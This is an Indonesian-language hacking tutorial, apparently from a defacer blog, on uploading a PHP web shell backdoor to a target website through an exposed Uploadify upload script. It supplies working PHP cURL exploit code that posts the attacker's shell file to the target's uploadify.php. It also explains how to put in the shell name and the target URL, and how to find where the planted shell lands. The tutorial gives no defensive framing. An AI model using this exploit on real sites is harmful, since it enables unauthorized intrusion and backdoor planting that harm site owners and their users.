UPLOADIFY MENGGUNAKAN SHELL BACKDOOR DENGAN FUNCTION CURL : ON

Tutorial Uploadify menggunakan Shell Backdoor dengan Function cURL : ON

Mungkin melihat uploadify, banyak dilakukan menggunakan XAMPP.
Kali ini saya berpikir untuk menggunakan Shell Backdoor dengan Function cURL : ON.
Kita lihat saya tutorial Berikut ini 

Oke Langsung saja , gausah Banyak omong.

Langkah pertama.
Sudah Pasti Siapkan Shell Backdoor Dengan cURL : ON

Kedua, buat file uploadifynya di directory yang sama dengan nama Shell anda .
Ini codenya ->

$uploadfile = “idca.php”;
$site = “http://targetmu.com/”;
$ch = curl_init(“$site/assets/js/uploadify/uploadify.php”);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array(‘Filedata’=>”@$uploadfile”,’folder’=>”/”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);{
print “\n\n\n$postResult”;
echo “\n\n\t”;
}

*NB -> Untuk File “idca.php” , itu bisa di sesuaikan dengan nama file Shell backdoor anda yang 1 directory.
contohnya : misalkan shell anda terletak di dir /public_html/shell.php
file uploadify juga terletak di /public_html/uploadify.php
jadi “idca.php” diganti dengan “shell.php” punya anda.
*ganti $site = “target.com”; -> dengan url target anda.

selanjutnya,
Vuln bisa di lihat jika .

selanjutnya, 
jika langkah diatas sudah benar dan tepat,
buka tempat anda menaruh code uploadify.php
contoh: localhost/uploadify.php
jika berhasil, file akan terupload dengan dengan tanda seperti ini :

*untuk mengetahui dimana file anda terupload lihat di bagian ->
“file_path”:”\/home\/construt\/public_html\/idca.php”
/public_html\/idca.php -> menandakan bahwa file berada di directory awal, jadi tempat shell anda di ->target.com/shellanda.php

Oke , sekian tutorial dari saya.
Semoga Bermanfaat ^_^

Tutor by : Mr. Error 404
kalo mau copas, sertakan Sumber dan Pembuat artikelnya ^_^